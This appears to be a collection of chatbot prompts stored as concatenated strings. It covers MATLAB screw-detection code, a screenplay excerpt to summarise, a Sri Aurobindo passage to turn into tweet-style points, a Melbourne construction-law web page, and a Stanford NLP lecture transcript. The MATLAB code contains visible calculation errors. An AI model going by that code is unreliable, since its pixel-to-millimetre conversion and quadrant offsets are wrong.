3\n selectedQuad = quad3;\n offset = [row\\_half,0]; %offset in y-direction for quadrant 3\n quadrant = 3;\n case 4 \n selectedQuad = quad4;\n offset = [row\\_half,col\\_half]; %offset in the x and y direction for quadrant 4\n quadrant = 4;\nend\n% Note: They detect actual quadrant three if you do imshow(quad3)\nimshow(selectedQuad);\n\n% Perform object detection on the resized image using the transfer learning model\n[bboxes, labels] = detect(model.net, img\\_resized);\n\n% Get the coordinates of the detected screws\nscrew\\_bboxes = bboxes(strcmp(labels,\'screw\'), :);\n\n% Get the centers and radii of the detected screws and storing them into\n% seperate arrays\nscrew\\_props = regionprops(\'table\', screw\\_bboxes, {\'Centroid\', \'MajorAxisLength\', \'MinorAxisLength\'});\nscrew\\_centers = round(screw\\_props.Centroid);\n\n% Display the detected screws and their centers on the original image\nfigure;\nimshow(img);\nhold on;\nfor i = 1:size(screw\\_centers,1)\n % Display the screw bbox\n bbox = screw\\_bboxes(i,:);\n bbox\\_points = bbox2points(bbox(1:4));\n plot([bbox\\_points(:,1); bbox\\_points(1,1)], [bbox\\_points(:,2); bbox\\_points(1,2)], \'g\', \'LineWidth\', 2);\n % Display the screw center\n center = screw\\_centers(i,:);\n plot(center(1), center(2), \'gx\', \'MarkerSize\', 10, \'LineWidth\', 2);\n \n % Add label with the circle number at the center of the detected screw\'s bounding box\n text(center(1), center(2), num2str(i), \'HorizontalAlignment\', \'center\', \'Color\', \'g\', \'FontSize\', 12, \'FontWeight\', \'bold\');\nend\nhold off;\n\n% Add a label with the center and radius of the circle with the circle\n% position selected by the user\nscrewPrompt = "Please enter the screw you want to remove: ";\nselectedScrew = input(screwPrompt); \n\nscrew\\_center = screw\\_centers(selectedScrew,:);\n\n% Code used for converting the center location in pixels to unit by robotic system \n% % Convert the center locations and radii from pixels to millimeters\n\n% 1)Need to determine pixel size\n% Need diagonal of sensor size and size of image\n\n% Logitech c920 Pro Webcam camera specs\nsensor\\_width = 4.8 ; %(mm)\nsensor\\_height = 3.6 ; %(mm)\n\ndiagSensorSize = sqrt(sensor\\_width^2+sensor\\_height^2); %Diagonal sensor size (mm)\ndiagOgImageSize = sqrt(imgwidth\\_re^2+imgheight\\_re^2); %Diagonal original image size (pixels)\ndiagResizedImageSize = sqrt(imgwidth\\_re^2+imgheight\\_re^2);%Diagonal resized size (pixels)\n% 2)Determining pixel size\npixel\\_size\\_resized = diagSensorSize / diagResizedImageSize;%Pixel size of resized image (mm)\npixel\\_size\\_og = diagSensorSize/diagOgImageSize; %Pixel size of original image (mm)\nratio\\_pixel = pixel\\_size\\_og/pixel\\_size\\_resized; %Ratio of original pixel size over resized image \n% 3)Conversion of the center location and radius values to millimeters and\n% also handling the offset\nif quadrant == 1\nscrew\\_center\\_X = screw\\_center(1)\\* pixel\\_size\\_resized \\* ratio\\_pixel;\nscrew\\_center\\_Y = screw\\_center(2)\\*pixel\\_size\\_resized\\* ratio\\_pixel;\n \nelseif quadrant == 2\nscrew\\_center\\_X = (screw\\_center(1) + offset(2))\\* pixel\\_size\\_resized\\*ratio\\_pixel;\nscrew\\_center\\_Y = screw\\_center(2)\\*pixel\\_size\\_resized\\*ratio\\_pixel;\n\nelseif quadrant == 3\n screw\\_center\\_X = screw\\_center(1)\\* pixel\\_size\\_resized\\*ratio\\_pixel;\nscrew\\_center\\_Y = (screw\\_center(2)+ offset(1))\\*pixel\\_size\\_resized\\*ratio\\_pixel;\n\nelseif quadrant == 4\nscrew\\_center\\_X = (screw\\_center(1)+ offset(1))\\* pixel\\_size\\_resized\\*ratio\\_pixel;\nscrew\\_center\\_Y = (screw\\_center(2) + offset(2))\\*pixel\\_size\\_resized\\*ratio\\_pixel;\n\nend\n\ndisp("Screw position "+ selectedScrew + "\'s" + " center location")\ndisp("Center x-axis location: "+ screw\\_center\\_X + " mm")\ndisp("Center y-axis location: "+ screw\\_center\\_Y + " mm")' +'Below are the next ten pages of the screenplay "Ruby Tuesday". Please summarize the below part of the story: MIN (CONT’D)\nYes, I do feel sick.\nRuby leans against the wall and slides down, cradling her\nhead in her hands. Min gets up and slides next to her.\nMIN (CONT’D)\nI had fun last night.\nRuby’s pitiful hungover aura is suddenly penetrated. She\nsmiles and looks over to Min.\nRUBY\nMe too.\nThey sit there quietly giggling to themselves as memories\nfrom the night before blissfully come back to them.\nEXT. SUBURBAN NEIGHBORHOOD – MORNING\nThe PT Cruiser rolls up in front of a plain house. Min and\nRuby both look through the passenger window at it.\nRUBY\nI wish you nothing but luck and\nprosperity with Jasmine.\nMIN\nAre you gonna be okay?\nRUBY\nFrom the hangover? Only time will\ntell.\nMIN\nAre you gonna be okay after the\nhangover?\nRuby smiles to herself.\nRUBY\nYeah, I think so. I have the gift\nof age-identification. I’m\nunstoppable.\nMin smiles and stationarily imitates Ruby zooming through the\nroom from the night before. She looks embarrassed.\nMIN\nThank you for bringing me here.\nRUBY\nOf course. Anything for a friend.\n\n71.\nMin gets out of the car and opens the trunk. He comes back\nover to the window, carrying his pile of clothes. He waves to\nRuby. She rolls down the window.\nRUBY (CONT’D)\nMin wait! Take this.\nShe reaches down and grabs the chat pack from her cupholder\nand hands it to him through the window.\nRUBY (CONT’D)\nIn case you guys run out of things\nto talk about.\nMin grabs it, struggling to balance his clothes.\nMIN\nThank you, Ruby.\nThey look at each other, as if waiting for the other person\nto say something. After several seconds of silence, Min nods.\nRuby nods back.\nMin turns away and heads for the front door.\nRuby rolls up the window, and when it closes, the car seems\nquieter than it’s ever been.\nShe opens the center console and pulls out a large paper map.\nAs she unfolds it dramatically, something falls out.\nIt’s the friendship card from Walgreens. Ruby picks it up and\nlooks out the window to catch a glimpse of the front door\nclosing. She looks to her empty passenger seat.\nMin isn’t there. And it hurts.\nEXT. FRONT DOOR – DAY\nMin rings the doorbell. The door opens, but no one’s there.\nMIN\nJasmine? It’s Min.\nMin cautiously enters with his clothes and chat pack in tow.\nINT. JASMINE’S HOUSE - DAY\nThe walls of the house are overwhelmingly orange.\n\n72.\nMIN\nI like your walls. Orange is my\nfriend Ruby’s favorite color,\nactually.\nHe wanders further into the house, admiring the orangeiness.\nMIN (CONT’D)\nShe thinks her favorite color\nshould be Safeway red, but... I\nthink orange makes her happy.\nStill no sign of Jasmine. Min looks down at the chat pack.\nMIN (CONT’D)\nI know my profile said I’m an\nastronaut. But uh...\nMin swallows her nervousness.\nMIN (CONT’D)\nI’m actually a deli man. Preparing\ncold cuts and sliced cheeses is\nwhat I love to do. And I’ve been\ntold it’s one of the coolest\ncareers in the world. I would love\nto tell you about it if you-\nFrom around the corner, a flabbergasted MAMA MIN appears. All\ndialogue in italics is spoken in Korean.\nMAMA MIN\nA deli boy?\nMin looks terrified.\nMIN\nMama?\nMAMA MIN\nFirst you run away from me. Then\nyou pursue the devil’s career path?\nMIN\nWhere’s Jasmine? What did you do to\nher?\nMAMA MIN\nThere never was a Jasmine. Just\nMama.\nIn a state of heartbreak and fear, Min glances down. Sticking\nout just below the bottom of his shorts pokes out “Rule\nNumber 1: Never run away from Mama.”\n\n73.\nMAMA MIN (CONT’D)\nIt’s time to go home now, son.\nMin looks towards the front door. He looks back at his\nmother. She suddenly realizes what’s about to happen.\nMAMA MIN (CONT’D)\nDon’t make Mama angry.\nMin’s fear is replaced with determination.\nMIN\nI’m not a deli boy, Mama.\nShe looks on with curiosity.\nMAMA MIN\nI’m a deli man.\nHe takes off towards the front door.\nEXT. STOP LIGHT - DAY\nRuby sits at a red light to the tune of her left blinker. As\ntime passes, a faint scream is heard in the distance.\nMIN (O.S)\nRuby!\nRuby’s oblivious.\nMIN (O.S) (CONT’D)\nRuby! Ruby!\nThe shouts grow louder, but not enough to distract Arizona’s\nsafest driver.\nThe light turns green, and just as she hits the gas, she\ncatches the sight of Min in her rearview mirror. He’s running\nwith his pile of clothes in his arms.\nRUBY\nMin?\nShe slams on the brakes. He’s still pretty far away. She\nrolls down her window and shouts to him.\nRUBY (CONT’D)\nHold on! I’m going to put my car in\nreverse and back up until I reach\nyou or the situation becomes\nunsafe!\n\n74.\nShe throws the purple stallion in reverse, throws her hand\nbehind the passenger headrest, whips her head around, and\nbacks up…\n…at about three miles an hour. Min might actually be running\nfaster. They slowly approach a midpoint until they safely but\nungracefully collide.\nRUBY (CONT’D)\nOh god, Min! Are you okay?\nMin hurriedly gets in his familiar passenger seat.\nMIN\nGo!\nRUBY\nWhat happ-\nMIN\nRuby go! Go!\nJust then, Ruby looks in the rearview mirror. Sprinting down\nthe center of the road is MAMA MIN, Min’s evil yet incredibly\nnimble mother.\nRUBY\nOh my, is that your-\nMIN\nYes! Please go!\nRuby throws it in drive and re-approaches the stoplight. She\nturns on her left blinker and waits at the red light.\nMIN (CONT’D)\nWe can’t wait for it to turn green!\nRUBY\nI can’t control the lights, Min!\nWhen they’re red, they’re red!\nMIN\nWell turn right then! That’s\nallowed!\nRUBY\nHuh. That’s quite the loophole\nyou’ve found. Not a bad-\nMIN\nHurry!\n\n75.\nShe puts her hazards on, repeats her cautious backup process,\nand uses her right blinker to change lanes. As she tries to\nturn right, there’s a steady stream of oncoming cars.\nMama Min is fast approaching, she runs like an Olympian.\nMIN (CONT’D)\nHurry! She’s almost here!\nMAMA MIN\nYou can’t keep running from me!\nRight when she is within leaping distance, the light turns\ngreen. Ruby quickly turns right and they take off on the open\nroad. Min’s mother turns the corner, but knows she can’t keep\nup to their speed any longer. She drops to her knees and\nscreams.\nINT. CAR - DAY\nRuby and Min, both in shock, drive in their familiar,\ncomfortable silence. Ruby waits a bit before asking.\nRUBY\nSo…Min?\nHe looks to her.\nRUBY (CONT’D)\nThat…that was your mother?\nMin nods.\nRUBY (CONT’D)\nWas she with Jasmine?\nMIN\nShe was Jasmine.\nRUBY\nOh.\nMin’s reality slowly sets in again. The silence hangs\nheavily.\nRUBY (CONT’D)\nMin, I’m so sorry. I should have\nwaited outside to make sure you\nwere safe. That’s what a real\nfriend would have done.\nRuby starts smacking herself on the forehead.\n\n76.\nRUBY (CONT’D)\nStupid stupid stupid!\nMin pulls her hand back.\nMIN\nRuby, you did save me. If it wasn’t\nfor your cautious driving and\nobeying of traffic laws, I would\nhave been running for the rest of\nmy life. And my mother certainly\nwould have caught up to me by that\npoint.\nRUBY\nShe’s fast.\nMIN\nShe’s always been fast.\nMin shudders.\nINT. SAFEWAY DRUG AISLE – DAY\nRuby and a noticeably sweaty Min stand side by side looking\nat their options for bottled water. He reaches for a bottle\nof Life Water\nRUBY\nBrand check.\nMin realizes he hasn’t grabbed the Signature Select variety.\nHe puts the Life Water back and grabs the Safeway brand. Ruby\nnods in approval.\nINT. SAFEWAY SELF CHECKOUT STATION – DAY\nMin scans his item. The MACHINE beeps, and Min places the\nitem in the bag.\nMACHINE LADY VOICE\nPlease place the item in the bag.\nMin looks at Ruby, who gives an “I told you so” look. Min\ntakes the item from the bag and puts it back in the bag.\nMACHINE LADY VOICE (CONT’D)\nPlease place the last item back in\nthe bagging area.\nMin replaces the item. There’s a pause.\n\n77.\nMACHINE LADY VOICE (CONT’D)\nPlease place the item in the bag.\nMIN\nWhat does she want from us?\nRUBY\nJust try scanning the bottle again.\nMin scans it again.\nMACHINE LADY VOICE\nPlease wait for an attendant.\nThe station’s light begins blinking.\nRUBY\nI’m half tempted to fix this\nmyself, but I wouldn’t dare rob the\npoor self-checkout attendee an\nopportunity to interact with a\npatron.\nThe two look over towards the employee stand. There stand two\nHIGH SCHOOL BOYS, lacking the work ethic Ruby would deem\nnecessary, oblivious to the blinking light.\nHIGH SCHOOL BOY 1\nDid I tell you, man? I shaved my\nlegs last night.\nHIGH SCHOOL BOY 2\nNo way!\nHIGH SCHOOL BOY 1\nI was just shaving my face and I\nfinished way earlier than I\nexpected.\nHIGH SCHOOL BOY 2\nSure, sure.\nHIGH SCHOOL BOY 1\nYou wanna feel?\nHIGH SCHOOL BOY 2\nYou’d be cool with that?\nHIGH SCHOOL BOY 1\nOf course I would.\nThe first boy begins rolling up his pant leg and the second\nboy places his hand on the first boy’s calf.\n\n78.\nRUBY\nExcuse me!\nThe boys look up mid calf stroke.\nHIGH SCHOOL BOY 1\nOh, pardon me ma’am. I’ll be right\nthere.\nHe rolls his pants down and walks towards their station.\nHIGH SCHOOL BOY 1 (CONT’D)\nThe machine get angry at ya?\nMIN\nYes. And I got angry at the\nmachine.\nHIGH SCHOOL BOY 1\nAh, see? Can’t do that. It can\nsense anger.\nThe attendant takes a deep breath, eyes closed, and scans the\nbottle of rubbing alcohol. The error message disappears and\nthe item successfully scans.\nRUBY\nThis can’t be how they trained you\nto fix that.\nThe second boy is suddenly behind them.\nHIGH SCHOOL BOY #2\nNo, but it’s how the machines want\nus to fix them.\nThe boys both give a slight bow in unison and return to their\nstand. Min pays for the items, Ruby deeply pondering what she\njust witnessed.\nEXT. SAFEWAY PARKING LOT – DAY\nRuby leans against the car, staring at the store sign.\nMIN\nImagining a chalet entrance?\nRuby whips around.\nRUBY\n(knowingly)\nNoooo.\n\n79.\nMIN\nI think it would look really nice.\nRuby smiles.\nEXT. AMERICAN FALLS CITY STREET - DAY\nThe PT Cruiser sails past a sign that reads “American Falls.”\nEXT. ALPHA SAFEWAY – DAY\nRuby is in her work uniform. Shirt starched, pants ironed,\nname tag perfectly horizontal, bra still visible. Whatever\nhangover remains hides behind her excitement.\nThis is her Mecca, her Disneyland, her Atlantis, and her face\nisn’t hiding the tidal wave of emotion flooding her body.\nRUBY\nIt’s beautiful. I don’t think I’m\nready though-\nRuby turns around and starts to head back towards the car.\nMIN\nHey Ruby?\nShe turns back towards him.\nMIN (CONT’D)\nI think you’re ready.\nShe takes a deep breath and returns to his side. The dynamic\nduo take a few steps forward and enters-\nINT. ALPHA SAFEWAY – DAY\nHer eyes light up, dramatic music plays, her face is glowing.\nBut as her vision focuses-\nChaos.\nAn angry patron is screaming at a cashier, who then takes her\ncarton of eggs and slams them to the floor.\nTwo patrons crash into one another with their shopping carts\nin a battle for the last can of Ranch-style beans.\nTo the left, produce rolls around on the floor as a child\nknocks over the displays. A WITHERED EMPLOYEE follows him.\n\n80.' +"20 POINTS i should know on text in the style of in sahil bloom's tweets: Chapter I The Human Aspiration\nShe follows to the goal of those that are passing on beyond, she is the first in the eternal succession of the dawns that are coming, — Usha widens bringing out that which lives, awakening someone who was dead. . . . What is her scope when she harmonises with the dawns that shone out before and those that now must shine? She desires the ancient mornings and fulfils their light; projecting forwards her illumination she enters into communion with the rest that are to come.\n\nKutsa Angirasa — Rig Veda.[1]\n\nThreefold are those supreme births of this divine force that is in the world, they are true, they are desirable; he moves there wide-overt within the Infinite and shines pure, luminous and fulfilling.... That which is immortal in mortals and possessed of the truth, is a god and established inwardly as an energy working out in our divine powers. . . . Become high-uplifted, O Strength, pierce all veils, manifest in us the things of the Godhead.\n\nVamadeva — Rig Veda.[2]\n\nTHE EARLIEST preoccupation of man in his awakened thoughts and, as it seems, his inevitable and ultimate preoccupation, — for it survives the longest periods of scepticism and returns after every banishment, — is also the highest which his thought can envisage. It manifests itself in the divination of Godhead, the impulse towards perfection, the search after pure Truth and unmixed Bliss, the sense of a secret immortality. The ancient dawns of human knowledge have left us their witness to this constant aspiration; today we see a humanity satiated but not satisfied by victorious analysis of the externalities of Nature preparing to return to its primeval longings. The earliest formula of Wisdom promises to be its last, — God, Light, Freedom, Immortality.\n\nThese persistent ideals of the race are at once the contradiction of its normal experience and the affirmation of higher and deeper experiences which are abnormal to humanity and only to be attained, in their organised entirety, by a revolutionary individual effort or an evolutionary general progression. To know, possess and be the divine being in an animal and egoistic consciousness, to convert our twilit or obscure physical mentality into the plenary supramental illumination, to build peace and a self-existent bliss where there is only a stress of transitory satisfactions besieged by physical pain and emotional suffering, to establish an infinite freedom in a world which presents itself as a group of mechanical necessities, to discover and realise the immortal life in a body subjected to death and constant mutation, — this is offered to us as the manifestation of God in Matter and the goal of Nature in her terrestrial evolution. To the ordinary material intellect which takes its present organisation of consciousness for the limit of its possibilities, the direct contradiction of the unrealised ideals with the realised fact is a final argument against their validity. But if we take a more deliberate view of the world’s workings, that direct opposition appears rather as part of Nature’s profoundest method and the seal of her completest sanction.\n\nFor all problems of existence are essentially problems of harmony. They arise from the perception of an unsolved discord and the instinct of an undiscovered agreement or unity. To rest content with an unsolved discord is possible for the practical and more animal part of man, but impossible for his fully awakened mind, and usually even his practical parts only escape from the general necessity either by shutting out the problem or by accepting a rough, utilitarian and unillumined compromise. For essentially, all Nature seeks a harmony, life and matter in their own sphere as much as mind in the arrangement of its perceptions. The greater the apparent disorder of the materials offered or the apparent disparateness, even to irreconcilable opposition, of the elements that have to be utilised, the stronger is the spur, and it drives towards a more subtle and puissant order than can normally be the result of a less difficult endeavour. The accordance of active Life with a material of form in which the condition of activity itself seems to be inertia, is one problem of opposites that Nature has solved and seeks always to solve better with greater complexities; for its perfect solution would be the material immortality of a fully organised mind-supporting animal body. The accordance of conscious mind and conscious will with a form and a life in themselves not overtly self-conscious and capable at best of a mechanical or subconscious will is another problem of opposites in which she has produced astonishing results and aims always at higher marvels; for there her ultimate miracle would be an animal consciousness no longer seeking but possessed of Truth and Light, with the practical omnipotence which would result from the possession of a direct and perfected knowledge. Not only, then, is the upward impulse of man towards the accordance of yet higher opposites rational in itself, but it is the only logical completion of a rule and an effort that seem to be a fundamental method of Nature and the very sense of her universal strivings.\n\nWe speak of the evolution of Life in Matter, the evolution of Mind in Matter; but evolution is a word which merely states the phenomenon without explaining it. For there seems to be no reason why Life should evolve out of material elements or Mind out of living form, unless we accept the Vedantic solution that Life is already involved in Matter and Mind in Life because in essence Matter is a form of veiled Life, Life a form of veiled Consciousness. And then there seems to be little objection to a farther step in the series and the admission that mental consciousness may itself be only a form and a veil of higher states which are beyond Mind. In that case, the unconquerable impulse of man towards God, Light, Bliss, Freedom, Immortality presents itself in its right place in the chain as simply the imperative impulse by which Nature is seeking to evolve beyond Mind, and appears to be as natural, true and just as the impulse towards Life which she has planted in certain forms of Matter or the impulse towards Mind which she has planted in certain forms of Life. As there, so here, the impulse exists more or less obscurely in her different vessels with an ever-ascending series in the power of its will-to-be; as there, so here, it is gradually evolving and bound fully to evolve the necessary organs and faculties. As the impulse towards Mind ranges from the more sensitive reactions of Life in the metal and the plant up to its full organisation in man, so in man himself there is the same ascending series, the preparation, if nothing more, of a higher and divine life. The animal is a living laboratory in which Nature has, it is said, worked out man. Man himself may well be a thinking and living laboratory in whom and with whose conscious co-operation she wills to work out the superman, the god. Or shall we not say, rather, to manifest God? For if evolution is the progressive manifestation by Nature of that which slept or worked in her, involved, it is also the overt realisation of that which she secretly is. We cannot, then, bid her pause at a given stage of her evolution, nor have we the right to condemn with the religionist as perverse and presumptuous or with the rationalist as a disease or hallucination any intention she may evince or effort she may make to go beyond. If it be true that Spirit is involved in Matter and apparent Nature is secret God, then the manifestation of the divine in himself and the realisation of God within and without are the highest and most legitimate aim possible to man upon earth.\n\nThus the eternal paradox and eternal truth of a divine life in an animal body, an immortal aspiration or reality inhabiting a mortal tenement, a single and universal consciousness representing itself in limited minds and divided egos, a transcendent, indefinable, timeless and spaceless Being who alone renders time and space and cosmos possible, and in all these the higher truth realisable by the lower term, justify themselves to the deliberate reason as well as to the persistent instinct or intuition of mankind. Attempts are sometimes made to have done finally with questionings which have so often been declared insoluble by logical thought and to persuade men to limit their mental activities to the practical and immediate problems of their material existence in the universe; but such evasions are never permanent in their effect. Mankind returns from them with a more vehement impulse of inquiry or a more violent hunger for an immediate solution. By that hunger mysticism profits and new religions arise to replace the old that have been destroyed or stripped of significance by a scepticism which itself could not satisfy because, although its business was inquiry, it was unwilling sufficiently to inquire. The attempt to deny or stifle a truth because it is yet obscure in its outward workings and too often represented by obscurantist superstition or a crude faith, is itself a kind of obscurantism. The will to escape from a cosmic necessity because it is arduous, difficult to justify by immediate tangible results, slow in regulating its operations, must turn out eventually to have been no acceptance of the truth of Nature but a revolt against the secret, mightier will of the great Mother. It is better and more rational to accept what she will not allow us as a race to reject and lift it from the sphere of blind instinct, obscure intuition and random aspiration into the light of reason and an instructed and consciously self-guiding will. And if there is any higher light of illumined intuition or self-revealing truth which is now in man either obstructed and inoperative or works with intermittent glancings as if from behind a veil or with occasional displays as of the northern lights in our material skies, then there also we need not fear to aspire. For it is likely that such is the next higher state of consciousness of which Mind is only a form and veil, and through the splendours of that light may lie the path of our progressive self-enlargement into whatever highest state is humanity’s ultimate resting-place.\n\nQuestion: 10380 chars / 1755 wordsThread: 190718 chars / 31202 words" +'here\'s the second content. I only want you to reply "acknowledged" to remember the second content. I will give you further instructions after this.\nConstruction & Building Lawyers in Melbourne\nWe are expert building and construction lawyers who provide practical legal advice and representation to:\n\nProperty Owners (including home owners)\nBuilders\nContactors / Sub-Contractors\nProperty developers\nEngineers\nArchitects\nSurveyors\nTradespeople\nBuilding and construction lawyers\nOur Building Legal Services\nCOMMERCIAL BUILDING & CONSTRUCTION\nRESIDENTIAL BUILDING & CONSTRUCTION\nOWNERS CORPORATION\nOur construction and building lawyers in Melbourne have expertise in a wide range of matters relating to the building industry, helping land owners, builders, project managers, and others to avoid running into legal difficulties – or otherwise resolve them.\n\nWe have practical experience in and around the building industry, which means that our building lawyers understand both the practical side of building issues, in addition, of course, to the legal issues.\n\nNew Building Contracts - Drafting the Contract\nAs a builder or contractor, you may require expert input from a construction lawyer into the legal terms of a domestic or commercial building contract. We can draft the contract for you from the beginning or otherwise adapt an existing contract to cater for a particular job.\n\nContract Review and Negotiation\nDomestic Building Contracts are, even in the standard form, complex documents, whether the contract is for a new home or a renovation. Our building lawyers in Melbourne have advised many clients about their rights and responsibilities under their building contract. There are many “tricky”” parts in these contracts that can cost you a lot of money and time later if not thought through and addressed upfront. In other words, many problems are preventable. We can take you through the terms of your building contract before you sign it – and help you think through the issues and the legal consequences of agreeing to certain things. If amendments are required, we can also assist you in negotiating special conditions to the contract, to suit your particular circumstances.\n\nContract Termination\nOur building and construction lawyers can assist you in the following circumstances:\n\nWhen you are considering terminating a building contract\nWhen you are being threatened with building contract termination\nWhen you are in a situation where the contract has already been terminated.\nEnding the contract is a serious matter. It should not be done without seeking proper legal advice first.\n\nGenerally, a carefully drafted notice will need to be served before you terminate, so that the other party has an opportunity to fix the problems.\n\nIf the matters are not resolved, and provided there are sufficient grounds – which must also be thought through carefully – the contract can then usually be terminated.\n\nTermination by a builder or property owner can be a helpful resolution to a difficult and costly dispute when appropriate. If you terminate incorrectly, this can lead to a very expensive and protracted further dispute. You want to avoid any such dispute where possible.\n\nIf you require advice in relation to such matters, we recommend that you contact a building lawyer promptly before taking further action yourself.\n\nContractual Disputes, Litigation and Dispute Resolution\nWhile disputes are usually unpleasant and time consuming, we assist clients to:\n\nAssert and enforce contractual rights; and\nWhere necessary, assist to contain the damage and present our client’s position in the best possible light.\nContractual disputes can often be resolved sensibly without the need for legal proceedings or mediation. Where possible, our building dispute lawyers will assist clients with that negotiation. If the matter needs to be litigated, we have experience representing clients in all Victorian courts and VCAT.\n\nOur building lawyers in Melbourne take a proactive approach to dispute resolution and prepare thoroughly for mediation and court proceedings.\n\nIf you have a dispute and require legal advice from building dispute lawyers, we recommend that you contact us as soon as possible to seek advice about how best to address the issues and move towards resolving the matter.\n\nWorkplace Health and Safety\nThere is a significant obligation on building companies to address health & safety matters.\n\nOur Melbourne-based construction lawyers provide advice in this complex area, including in relation to code of practice compliance and regulator investigations prosecution issues.\n\nTerms of Trade and Credit Arrangements\nWhether you’re a builder or contractor, and whether you’re providing the service or are the recipient of the service, it is important that you ensure that the terms of trade are helpful to you, and not a potential hindrance.\n\nOur construction lawyers in Melbourne are experienced in both drafting and reviewing terms of trade, including terms that include payment terms and credit arrangements. Getting this right upfront can save confusion and cost and later – and prevents a dispute later.\n\nIf you are already in dispute and need advice, we can also assist in representing you to resolve the dispute as quickly as possible.\n\nSecurity of Payment Act Claims\nThe point behind the Security of Payments Act legislation is that a party who undertakes construction work is entitled to recover progress payments in relation to the work carried out.\n\nThis is a complex area. When used appropriately, it can be a powerful tool for getting paid, but careful consideration is required as to whether it is the best approach in the circumstances.\n\nA building and construction lawyer can assist you with:\n\nMaking a claim\nApplying for Adjudication\nDefending a claim, including adjudication responses\nApplying to set aside an adjudication determination\nEnforcing an adjudication determination or judgment\nThere are also other methods of debt recovery, and we have experience acting for both plaintiffs and defendants in such circumstances.\n\nBusiness Set Up\nWe regularly provide advice for setting up a new business, including business structures.\n\nWhether you choose to operate as a sole trader company or select a company trust structure can affect your ongoing liability and have taxation consequences.\n\nNeeds also change over time. What might have been suitable when you start business may need to be reviewed as your business grows and changes.\n\nGood legal advice from a construction lawyer will assist you to think through the issues so you can get your building and construction business structure right.\n\nBuying and Selling Real Estate\nAs a builder or developer, if you are involved in buying and selling development sites, you will need to have solid legal advice from a construction lawyer in Melbourne.\n\nWe have property lawyers who can assist in contracts for the sale and purchase of land and, where relevant, commercial and residential leases.\n\nBuilder, Contractor and Sub-contractor Agreements and Disputes\nThe relationship between a contractor and sub-contractor is somewhat unique. It is business to business and you are both in the building industry. Disputes are common and the party who understands its legal position will have the advantage.\n\nOur building dispute lawyers can advise in relation to the following contractor-specific matters:\n\nEmployment advice – A building lawyer can help determine if the contractor is truly a contractor or an employee and assist with disputes where they arise.\n\nContracts between builders, contractors and subcontractors – Our construction lawyers in Melbourne can draft and review such contracts and provide advice in the event of a dispute. Where the matter cannot be resolved amicably, our building litigators will represent you very competently.\n\nDisputes between builders, contractors and subcontractors – If there is a dispute, small disagreements can become expensive disputes quickly. It is sensible to work out the legal issues quickly and try to resolve the dispute. If the other party is not being sensible, a swift and firm approach is usually helpful.\n\nIf you need advice in relation to matters between builders, contractors and sub-contractors, our team of building dispute lawyers can assist you with a high degree of competence.\n\nLicences and Permits\nOur building lawyers in Melbourne can provide advice in relation to the following:\n\nBuilding plumbing, electrical and gas fitting licences – including application, suspension and appeal\nDevelopment applications\nWater usage\nSewerage/drainage matters\nTree protection (including dealing with planning permit conditions and overlays)\nFire management and fire safety\nExplosives\nAsbestos removal\nPublic land use\nOur building and construction lawyers can assist in the preparation of documentation and representation in relation to all of the above.\n\nBuilding Defects and Home Warranty Insurance Claims\nNot all builders are good builders.\n\nHome warranty claims can be made against builders for defective work.\n\nThe insurance policy cannot be claimed against unless the builder is insolvent, cannot be found or is dead. So, the circumstances are limited.\n\nOur building lawyers have strong experience in helping land owners who have engaged builders and the work is substandard. There are useful remedies available to help get your defects fixed and/or to get you an appropriate amount of compensation.\n\nWe have access to outstanding building experts who can identify the defects (sometimes well beyond what is already known) and ascribe a value to fixing those defects to assist us in properly articulating your claim.\n\nWe will always endeavour to get the dispute resolved without litigation but, if necessary, our building dispute lawyers will prosecute your case with vigour against the builder in VCAT or the courts.\n\nIf you are in dispute with your builder and need legal advice as to how to negotiate with them, or if you would like us to negotiate for you, please contact us.\n\nDebt Recovery\nDebt recovery in building matters is not always clear cut. There can be offsets and counterclaims, so thoughtful consideration of the approach is advantageous.\n\nOur debt recovery team is very experienced and typically successful at recovering outstanding payments.\n\nWe regularly issue letters of demand and commence proceedings to enforce the payment of outstanding debts.\n\nWe will also recommend the Security of Payment approach where appropriate.\n\nWe also defend claim for payment for clients to whom alleged monies are owed.\n\nProject Finance & Finance Documentation Advice\nWe can provide clients with a sound explanation of all finance contracts and personal guarantees in relation to such matters as:\n\nLender contracts from bank and financiers relating to the mortgage of land\nProject funding\nEquipment finance\nThese appointments are usually short and concise. Our building and construction lawyers will ensure that the documentation is explained to you adequately and that the documents are signed correctly.\n\nCall our construction lawyers today on 1300 907 335 to discuss your situation, or simply fill in the enquiry form on this page to receive a prompt response from our construction and building lawyers in Melbourne.' +'Lecture-1 2021 edition\n\nTranscript: "Hi, everybody. Welcome to Stanford\'s CS224N, also known as Ling284, Natural Language Processing with Deep Learning. I\'m Christopher Manning, and I\'m the main instructor for this class. So what we hope to do today is to dive right in. So I\'m going to spend about 10 minutes talking about the course, and then we\'re going to get straight into content for reasons I\'ll explain in a minute. So we\'ll talk about human language and word meaning, I\'ll then introduce the ideas of the word2vec algorithm for learning word meaning. And then going from there we\'ll kind of concretely work through how you can work out objective function gradients with respect to the word2vec algorithm, and say a teeny bit about how optimization works. And then right at the end of the class I then want to spend a little bit of time giving you a sense of how these word vectors work, and what you can do with them. So really the key learning for today is, I want to give you a sense of how amazing deep learning word vectors are. So we have this really surprising result that word meaning can be represented, not perfectly but really rather well by a large vector of real numbers. And that\'s sort of in a way, a commonplace of the last decade of deep learning, but it flies in the face of thousands of years of tradition. And it\'s really rather an unexpected result to start focusing on. OK, so quickly what do we hope to teach in this course? So we\'ve got three primary goals. The first is to teach you the foundation, say a good deep understanding of the effect of modern methods for deep learning applied to NLP. So we are going to start with and go through the basics, and then go on to key methods that are used in NLP, recurrent networks, attention transformers, and things like that. We want to do something more than just that. We\'d also like to give you some sense of a big picture understanding of human languages and what are the reasons for why they\'re actually quite difficult to understand and produce even though humans seem to do it easily. Now obviously if you really want to learn a lot about this topic, you should enroll in and go and start doing some classes in the linguistics department. But nevertheless for a lot of you, this is the only human language content you\'ll see during your master\'s degree or whatever. And so we do hope to spend a bit of time on that starting today. And then finally, we want to give you an understanding of an ability to build systems in PyTorch, that\'s some of the major problems in NLP. So we\'ll look at learning word meanings, dependency parsing, machine translation, question answering. Let\'s dive in to human language. Once upon a time, I had a lot longer introduction that gave lots of examples about how human languages can be misunderstood and complex, I\'ll show a few of those examples in later lectures. But since right for today, we\'re going to be focused on word meaning. I thought I\'d just give one example, which comes from a very nice xkcd cartoon. And that isn\'t sort of about some of the syntactic ambiguities of sentences, but instead it\'s really emphasizing the important point that language is a social system, constructed and interpreted by people. And that\'s part of how-- and it changes as people decide to adapt its construction, and that\'s part of the reason why human languages, great as an adaptive system for human beings but difficult as a system for our computers to understand to this day. So in this conversation between the two women, 